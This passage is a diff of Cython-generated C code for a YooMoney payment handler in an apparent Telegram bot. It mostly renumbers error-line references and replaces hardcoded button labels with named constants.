__PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 67, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 67, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 67, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 67, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 67, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 66, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -4271,7 +4276,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 61, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 63, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4281,43 +4286,43 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } /*else*/ { - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_6, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_6, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_6, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_6, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_6, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_6, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyUnicode_Concat(__pyx_n_u_yoomoney, __pyx_t_10); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_6) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_6) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 73, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -4340,7 +4345,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4351,18 +4356,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 80, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yoomoney) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_CUSTOM_AMOUNT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yoomoney) < 0) __PYX_ERR(0, 82, __pyx_L1_error) - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -4385,21 +4393,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 84, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 84, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_BACK); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 86, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -4422,13 +4433,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 84, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 86, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; __pyx_t_5 = 0; @@ -4448,7 +4459,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 86, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -4463,21 +4474,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L10_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 86, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 88, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 86, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_key_count = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 90, __pyx_L1_error) if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; __pyx_t_5 = 0; @@ -4497,7 +4508,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -4512,34 +4523,34 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L12_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 89, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 91, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 89, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_exists = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 92, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 91, __pyx_L1_error); - __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 93, __pyx_L1_error); + __pyx_t_3 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 91, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 91, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 91, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 91, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4555,12 +4566,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 91, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 93, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 91, __pyx_L1_error) + else __PYX_ERR(0, 93, __pyx_L1_error) } } @@ -4568,26 +4579,26 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_2generator(__pyx_Co } - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_3 = 